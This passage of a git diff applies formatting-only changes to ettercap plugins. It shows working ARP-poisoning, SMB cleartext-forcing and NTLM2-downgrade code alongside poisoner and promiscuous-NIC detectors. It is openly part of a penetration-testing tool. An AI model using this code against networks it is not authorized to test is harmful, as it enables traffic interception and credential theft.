the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * reply_arp -- ettercap plugin -- Simple arp responder + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -26,7 +25,6 @@ #include #include - /* protos */ int plugin_load(void *); static int reply_arp_init(void *); @@ -34,35 +32,35 @@ static int reply_arp_fini(void *); static void parse_arp(struct packet_object *po); /* plugin operations */ -struct plugin_ops reply_arp_ops = { +struct plugin_ops reply_arp_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "reply_arp", - /* a short description of the plugin (max 50 chars) */ - .info = "Simple arp responder", - /* the plugin version. */ - .version = "1.0", + .name = "reply_arp", + /* a short description of the plugin (max 50 chars) */ + .info = "Simple arp responder", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &reply_arp_init, - /* deactivation function */ - .fini = &reply_arp_fini, + .init = &reply_arp_init, + /* deactivation function */ + .fini = &reply_arp_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &reply_arp_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int reply_arp_init(void *dummy) +static int reply_arp_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -72,14 +70,13 @@ static int reply_arp_init(void *dummy) hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int reply_arp_fini(void *dummy) +static int reply_arp_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("reply_arp: plugin terminated...\n"); @@ -90,7 +87,6 @@ static int reply_arp_fini(void *dummy) /*********************************************************/ - /* Reply to requests for hosts in the target lists */ static void parse_arp(struct packet_object *po) { @@ -99,7 +95,7 @@ static void parse_arp(struct packet_object *po) if (GBL_TARGET1->scan_all || GBL_TARGET2->scan_all) in_list = 1; - + LIST_FOREACH(i, &GBL_TARGET1->ips, next) { if (!ip_addr_cmp(&i->ip, &po->L3.dst)) { in_list = 1; @@ -113,7 +109,7 @@ static void parse_arp(struct packet_object *po) break; } } - + if (in_list) send_arp(ARPOP_REPLY, &po->L3.dst, GBL_IFACE->mac, &po->L3.src, po->L2.src); } @@ -121,4 +117,3 @@ static void parse_arp(struct packet_object *po) /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/repoison_arp/repoison_arp.c b/plug-ins/repoison_arp/repoison_arp.c index 12e2f1a19..a39e7ffe4 100644 --- a/plug-ins/repoison_arp/repoison_arp.c +++ b/plug-ins/repoison_arp/repoison_arp.c @@ -1,24 +1,23 @@ /* - repoison_arp -- ettercap plugin -- Repoison after a broadcast ARP - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * repoison_arp -- ettercap plugin -- Repoison after a broadcast ARP + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -28,7 +27,6 @@ #include #include - /* protos */ int plugin_load(void *); static int repoison_arp_init(void *); @@ -36,37 +34,36 @@ static int repoison_arp_fini(void *); static void repoison_func(struct packet_object *po); void repoison_victims(void *group_ptr, struct packet_object *po); - /* plugin operations */ -struct plugin_ops repoison_arp_ops = { +struct plugin_ops repoison_arp_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "repoison_arp", - /* a short description of the plugin (max 50 chars) */ - .info = "Repoison after broadcast ARP", - /* the plugin version. */ - .version = "1.0", + .name = "repoison_arp", + /* a short description of the plugin (max 50 chars) */ + .info = "Repoison after broadcast ARP", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &repoison_arp_init, - /* deactivation function */ - .fini = &repoison_arp_fini, + .init = &repoison_arp_init, + /* deactivation function */ + .fini = &repoison_arp_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &repoison_arp_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int repoison_arp_init(void *dummy) +static int repoison_arp_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -76,16 +73,14 @@ static int repoison_arp_init(void *dummy) hook_add(HOOK_PACKET_ARP_RQ, &repoison_func); hook_add(HOOK_PACKET_ARP_RP, &repoison_func); - - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int repoison_arp_fini(void *dummy) +static int repoison_arp_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("repoison_arp: plugin terminated...\n"); @@ -97,13 +92,12 @@ static int repoison_arp_fini(void *dummy) /*********************************************************/ - /* Poison one target list */ void repoison_victims(void *group_ptr, struct packet_object *po) { struct hosts_list *t; - LIST_HEAD(, hosts_list) *group_head = group_ptr; + LIST_HEAD(, hosts_list) * group_head = group_ptr; LIST_FOREACH(t, group_head, next) { @@ -120,14 +114,12 @@ void repoison_victims(void *group_ptr, struct packet_object *po) if (GBL_CONF->arp_poison_reply) send_arp(ARPOP_REPLY, &po->L3.src, GBL_IFACE->mac, &t->ip, t->mac); - + if (GBL_CONF->arp_poison_request) send_arp(ARPOP_REQUEST, &po->L3.src, GBL_IFACE->mac, &t->ip, t->mac); - } } - /* Re-poison caches that update on legal broadcast ARP requests */ static void repoison_func(struct packet_object *po) { @@ -143,20 +135,19 @@ static void repoison_func(struct packet_object *po) /* search in target 2 */ LIST_FOREACH(t, &arp_group_two, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - repoison_victims(&arp_group_one, po); - break; - } - + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + repoison_victims(&arp_group_one, po); + break; + } + /* search in target 1 */ LIST_FOREACH(t, &arp_group_one, next) - if (!ip_addr_cmp(&t->ip, &po->L3.src)) { - repoison_victims(&arp_group_two, po); - break; - } + if (!ip_addr_cmp(&t->ip, &po->L3.src)) { + repoison_victims(&arp_group_two, po); + break; + } } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/scan_poisoner/scan_poisoner.c b/plug-ins/scan_poisoner/scan_poisoner.c index fe5cd6894..82e5613f0 100644 --- a/plug-ins/scan_poisoner/scan_poisoner.c +++ b/plug-ins/scan_poisoner/scan_poisoner.c @@ -1,28 +1,27 @@ /* - scan_poisoner -- ettercap plugin -- Actively search other poisoners - - It checks the hosts list, searching for eqaul mac addresses. - It also sends icmp packets to see if any ip-mac association has - changed. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * scan_poisoner -- ettercap plugin -- Actively search other poisoners + * + * It checks the hosts list, searching for eqaul mac addresses. + * It also sends icmp packets to see if any ip-mac association has + * changed. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -46,38 +45,38 @@ static void parse_icmp(struct packet_object *po); /* plugin operations */ -struct plugin_ops scan_poisoner_ops = { +struct plugin_ops scan_poisoner_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "scan_poisoner", - /* a short description of the plugin (max 50 chars) */ - .info = "Actively search other poisoners", - /* the plugin version. */ - .version = "1.0", + .name = "scan_poisoner", + /* a short description of the plugin (max 50 chars) */ + .info = "Actively search other poisoners", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &scan_poisoner_init, - /* deactivation function */ - .fini = &scan_poisoner_fini, + .init = &scan_poisoner_init, + /* deactivation function */ + .fini = &scan_poisoner_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &scan_poisoner_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int scan_poisoner_init(void *dummy) +static int scan_poisoner_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - ec_thread_new("scan_poisoner", "plugin scan_poisoner", - &scan_poisoner_thread, NULL); + ec_thread_new("scan_poisoner", "plugin scan_poisoner", + &scan_poisoner_thread, NULL); return PLUGIN_RUNNING; } @@ -85,21 +84,20 @@ static int scan_poisoner_init(void *dummy) static EC_THREAD_FUNC(scan_poisoner_thread) { /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; - char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h1, *h2; - + ec_thread_init(); PLUGIN_LOCK(scan_poisoner_mutex); /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + if (LIST_EMPTY(&GBL_HOSTLIST)) { - INSTANT_USER_MSG("scan_poisoner: You have to build host-list to run this plugin.\n\n"); + INSTANT_USER_MSG("scan_poisoner: You have to build host-list to run this plugin.\n\n"); PLUGIN_UNLOCK(scan_poisoner_mutex); plugin_kill_thread("scan_poisoner", "scan_poisoner"); return PLUGIN_FINISHED; @@ -108,17 +106,17 @@ static EC_THREAD_FUNC(scan_poisoner_thread) INSTANT_USER_MSG("scan_poisoner: Checking hosts list...\n"); flag_strange = 0; - /* Compares mac address of each host with any other */ - LIST_FOREACH(h1, &GBL_HOSTLIST, next) - for(h2=LIST_NEXT(h1,next); h2!=LIST_END(&GBL_HOSTLIST); h2=LIST_NEXT(h2,next)) - if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN)) { - flag_strange = 1; - INSTANT_USER_MSG("scan_poisoner: - %s and %s have same MAC address\n", ip_addr_ntoa(&h1->ip, tmp1), ip_addr_ntoa(&h2->ip, tmp2)); - } + /* Compares mac address of each host with any other */ + LIST_FOREACH(h1, &GBL_HOSTLIST, next) + for (h2 = LIST_NEXT(h1, next); h2 != LIST_END(&GBL_HOSTLIST); h2 = LIST_NEXT(h2, next)) + if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN)) { + flag_strange = 1; + INSTANT_USER_MSG("scan_poisoner: - %s and %s have same MAC address\n", ip_addr_ntoa(&h1->ip, tmp1), ip_addr_ntoa(&h2->ip, tmp2)); + } if (!flag_strange) INSTANT_USER_MSG("scan_poisoner: - Nothing strange\n"); - flag_strange=0; + flag_strange = 0; /* Can't continue in unoffensive */ if (GBL_OPTIONS->unoffensive || GBL_OPTIONS->read) { @@ -129,16 +127,16 @@ static EC_THREAD_FUNC(scan_poisoner_thread) } INSTANT_USER_MSG("\nscan_poisoner: Actively searching poisoners...\n"); - + /* Add the hook to collect ICMP replies from the victim */ hook_add(HOOK_PACKET_ICMP, &parse_icmp); /* Send ICMP echo request to each target */ LIST_FOREACH(h1, &GBL_HOSTLIST, next) { - send_L3_icmp_echo(&GBL_IFACE->ip, &h1->ip); + send_L3_icmp_echo(&GBL_IFACE->ip, &h1->ip); ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } - + /* wait for the response */ ec_usleep(SEC2MICRO(1)); @@ -148,24 +146,23 @@ static EC_THREAD_FUNC(scan_poisoner_thread) /* We don't need mutex on it :) */ if (!flag_strange) INSTANT_USER_MSG("scan_poisoner: - Nothing strange\n"); - + PLUGIN_UNLOCK(scan_poisoner_mutex); plugin_kill_thread("scan_poisoner", "scan_poisoner"); return PLUGIN_FINISHED; } - -static int scan_poisoner_fini(void *dummy) +static int scan_poisoner_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; pthread_t pid; pid = ec_thread_getpid("scan_poisoner"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) - ec_thread_destroy(pid); + ec_thread_destroy(pid); INSTANT_USER_MSG("scan_poisoner: plugin terminated...\n"); @@ -183,23 +180,21 @@ static void parse_icmp(struct packet_object *po) /* If the poisoner is not in the hosts list */ sprintf(poisoner, "UNKNOWN"); - + /* Check if the reply contains the correct ip/mac association */ LIST_FOREACH(h1, &GBL_HOSTLIST, next) { if (!ip_addr_cmp(&(po->L3.src), &h1->ip) && memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) { flag_strange = 1; /* Check if the mac address of the poisoner is in the hosts list */ - LIST_FOREACH(h2, &GBL_HOSTLIST, next) - if (!memcmp(po->L2.src, h2->mac, MEDIA_ADDR_LEN)) - ip_addr_ntoa(&h2->ip, poisoner); - - INSTANT_USER_MSG("scan_poisoner: - %s is replying for %s\n", poisoner, ip_addr_ntoa(&h1->ip, tmp)); + LIST_FOREACH(h2, &GBL_HOSTLIST, next) + if (!memcmp(po->L2.src, h2->mac, MEDIA_ADDR_LEN)) + ip_addr_ntoa(&h2->ip, poisoner); + + INSTANT_USER_MSG("scan_poisoner: - %s is replying for %s\n", poisoner, ip_addr_ntoa(&h1->ip, tmp)); } - } + } } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/search_promisc/search_promisc.c b/plug-ins/search_promisc/search_promisc.c index 1a6ffedd9..6ae995cbe 100644 --- a/plug-ins/search_promisc/search_promisc.c +++ b/plug-ins/search_promisc/search_promisc.c @@ -1,26 +1,25 @@ /* - search_promisc -- ettercap plugin -- Search promisc NICs in the LAN - - It sends malformed arp reqeusts and waits for replies. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * search_promisc -- ettercap plugin -- Search promisc NICs in the LAN + * + * It sends malformed arp reqeusts and waits for replies. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -46,38 +45,38 @@ static void parse_arp(struct packet_object *po); /* plugin operations */ -struct plugin_ops search_promisc_ops = { +struct plugin_ops search_promisc_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "search_promisc", - /* a short description of the plugin (max 50 chars) */ - .info = "Search promisc NICs in the LAN", - /* the plugin version. */ - .version = "1.2", + .name = "search_promisc", + /* a short description of the plugin (max 50 chars) */ + .info = "Search promisc NICs in the LAN", + /* the plugin version. */ + .version = "1.2", /* activation function */ - .init = &search_promisc_init, - /* deactivation function */ - .fini = &search_promisc_fini, + .init = &search_promisc_init, + /* deactivation function */ + .fini = &search_promisc_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &search_promisc_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int search_promisc_init(void *dummy) +static int search_promisc_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - ec_thread_new("search_promisc", "plugin search_promisc", - &search_promisc_thread, NULL); + ec_thread_new("search_promisc", "plugin search_promisc", + &search_promisc_thread, NULL); return PLUGIN_RUNNING; } @@ -85,21 +84,20 @@ static int search_promisc_init(void *dummy) static EC_THREAD_FUNC(search_promisc_thread) { /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; - char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; - u_char bogus_mac[2][6]={"\xfd\xfd\x00\x00\x00\x00", "\xff\xff\x00\x00\x00\x00"}; - char messages[2][48]={"\nLess probably sniffing NICs:\n", "\nMost probably sniffing NICs:\n"}; + u_char bogus_mac[2][6] = { "\xfd\xfd\x00\x00\x00\x00", "\xff\xff\x00\x00\x00\x00" }; + char messages[2][48] = { "\nLess probably sniffing NICs:\n", "\nMost probably sniffing NICs:\n" }; u_char i; - + ec_thread_init(); PLUGIN_LOCK(search_promisc_mutex); /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("search_promisc: plugin doesn't work in UNOFFENSIVE mode.\n\n"); @@ -109,42 +107,41 @@ static EC_THREAD_FUNC(search_promisc_thread) } if (LIST_EMPTY(&GBL_HOSTLIST)) { - INSTANT_USER_MSG("search_promisc: You have to build host-list to run this plugin.\n\n"); + INSTANT_USER_MSG("search_promisc: You have to build host-list to run this plugin.\n\n"); PLUGIN_UNLOCK(search_promisc_mutex); plugin_kill_thread("search_promisc", "search_promisc"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("search_promisc: Searching promisc NICs...\n"); - - /* We have to perform same operations twice :) */ - for (i=0; i<=1; i++) { + + /* We have to perform same operations twice :) */ + for (i = 0; i <= 1; i++) { /* Add the hook to collect ARP replies from the targets */ hook_add(HOOK_PACKET_ARP_RP, &parse_arp); - /* Send malformed ARP requests to each target. - * First and second time we'll use different + /* Send malformed ARP requests to each target. + * First and second time we'll use different * dest mac addresses */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { - send_arp(ARPOP_REQUEST, &GBL_IFACE->ip, GBL_IFACE->mac, &h->ip, bogus_mac[i]); + send_arp(ARPOP_REQUEST, &GBL_IFACE->ip, GBL_IFACE->mac, &h->ip, bogus_mac[i]); ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); } - + /* Wait for responses */ ec_usleep(SEC2MICRO(1)); - + /* Remove the hook */ hook_del(HOOK_PACKET_ARP_RP, &parse_arp); /* Print results */ INSTANT_USER_MSG(messages[i]); - if(LIST_EMPTY(&promisc_table)) + if (LIST_EMPTY(&promisc_table)) INSTANT_USER_MSG("- NONE \n"); - else - LIST_FOREACH(h, &promisc_table, next) - INSTANT_USER_MSG("- %s\n",ip_addr_ntoa(&h->ip, tmp)); - + else + LIST_FOREACH(h, &promisc_table, next) + INSTANT_USER_MSG("- %s\n", ip_addr_ntoa(&h->ip, tmp)); /* Delete the list */ while (!LIST_EMPTY(&promisc_table)) { @@ -160,24 +157,23 @@ static EC_THREAD_FUNC(search_promisc_thread) LIST_REMOVE(h, next); SAFE_FREE(h); } - + PLUGIN_UNLOCK(search_promisc_mutex); plugin_kill_thread("search_promisc", "search_promisc"); return PLUGIN_FINISHED; } - -static int search_promisc_fini(void *dummy) +static int search_promisc_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; pthread_t pid; pid = ec_thread_getpid("search_promisc"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) - ec_thread_destroy(pid); + ec_thread_destroy(pid); INSTANT_USER_MSG("search_promisc: plugin terminated...\n"); @@ -194,13 +190,13 @@ static void parse_arp(struct packet_object *po) /* We'll parse only replies for us */ if (memcmp(po->L2.dst, GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; - + /* Check if it's already in the list */ - LIST_FOREACH(h, &collected_table, next) - if (!ip_addr_cmp(&(po->L3.src), &h->ip)) { - return; - } - + LIST_FOREACH(h, &collected_table, next) + if (!ip_addr_cmp(&(po->L3.src), &h->ip)) { + return; + } + /* create the element and insert it in the two lists */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &(po->L3.src), sizeof(struct ip_addr)); @@ -209,11 +205,8 @@ static void parse_arp(struct packet_object *po) SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &(po->L3.src), sizeof(struct ip_addr)); LIST_INSERT_HEAD(&collected_table, h, next); - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/smb_clear/smb_clear.c b/plug-ins/smb_clear/smb_clear.c index 38ed2542d..96183606a 100644 --- a/plug-ins/smb_clear/smb_clear.c +++ b/plug-ins/smb_clear/smb_clear.c @@ -1,48 +1,45 @@ /* - smb_clear -- ettercap plugin -- Tries to force SMB cleartext auth. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * smb_clear -- ettercap plugin -- Tries to force SMB cleartext auth. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include - typedef struct { - u_char proto[4]; - u_char cmd; - u_char err[4]; - u_char flags1; + u_char proto[4]; + u_char cmd; + u_char err[4]; + u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { - u_char mesg; - u_char flags; + u_char mesg; + u_char flags; u_short len; } NetBIOS_header; - /* protos */ int plugin_load(void *); static int smb_clear_init(void *); @@ -52,35 +49,35 @@ static void parse_smb(struct packet_object *po); /* plugin operations */ -struct plugin_ops smb_clear_ops = { +struct plugin_ops smb_clear_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "smb_clear", - /* a short description of the plugin (max 50 chars) */ - .info = "Tries to force SMB cleartext auth", - /* the plugin version. */ - .version = "1.0", + .name = "smb_clear", + /* a short description of the plugin (max 50 chars) */ + .info = "Tries to force SMB cleartext auth", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &smb_clear_init, - /* deactivation function */ - .fini = &smb_clear_fini, + .init = &smb_clear_init, + /* deactivation function */ + .fini = &smb_clear_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &smb_clear_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int smb_clear_init(void *dummy) +static int smb_clear_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { @@ -89,16 +86,15 @@ static int smb_clear_init(void *dummy) } USER_MSG("smb_clear: plugin running...\n"); - + hook_add(HOOK_PROTO_SMB, &parse_smb); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int smb_clear_fini(void *dummy) +static int smb_clear_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("smb_clear: plugin terminated...\n"); @@ -115,11 +111,11 @@ static void parse_smb(struct packet_object *po) NetBIOS_header *NetBIOS; u_char *ptr; char tmp[MAX_ASCII_ADDR_LEN]; - + /* It is pointless to modify packets that won't be forwarded */ - if (!(po->flags & PO_FORWARDABLE)) - return; - + if (!(po->flags & PO_FORWARDABLE)) + return; + /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); @@ -128,18 +124,17 @@ static void parse_smb(struct packet_object *po) /* According to the Hook Point we are sure that this is * a NegotiateProtocol response packet. - * Now we can change the Security Mode + * Now we can change the Security Mode * 010 (encrypted) 000 (plaintext) */ - if (ptr[3] & 2) { - ptr[3] ^= 2; - USER_MSG("smb_clear: Forced SMB clear text auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); - USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); - po->flags |= PO_MODIFIED; - } + if (ptr[3] & 2) { + ptr[3] ^= 2; + USER_MSG("smb_clear: Forced SMB clear text auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); + USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); + po->flags |= PO_MODIFIED; + } } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/smb_down/smb_down.c b/plug-ins/smb_down/smb_down.c index a9fb184c0..3b716cf8a 100644 --- a/plug-ins/smb_down/smb_down.c +++ b/plug-ins/smb_down/smb_down.c @@ -1,44 +1,42 @@ /* - smb_down -- ettercap plugin -- Tries to force no NTLM2 key - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * smb_down -- ettercap plugin -- Tries to force no NTLM2 key + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include - typedef struct { - u_char proto[4]; - u_char cmd; - u_char err[4]; - u_char flags1; + u_char proto[4]; + u_char cmd; + u_char err[4]; + u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { - u_char mesg; - u_char flags; + u_char mesg; + u_char flags; u_short len; } NetBIOS_header; @@ -53,35 +51,35 @@ static void parse_smb(struct packet_object *po); /* plugin operations */ -struct plugin_ops smb_down_ops = { +struct plugin_ops smb_down_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "smb_down", - /* a short description of the plugin (max 50 chars) */ - .info = "Tries to force SMB to not use NTLM2 key auth", - /* the plugin version. */ - .version = "1.0", + .name = "smb_down", + /* a short description of the plugin (max 50 chars) */ + .info = "Tries to force SMB to not use NTLM2 key auth", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &smb_down_init, - /* deactivation function */ - .fini = &smb_down_fini, + .init = &smb_down_init, + /* deactivation function */ + .fini = 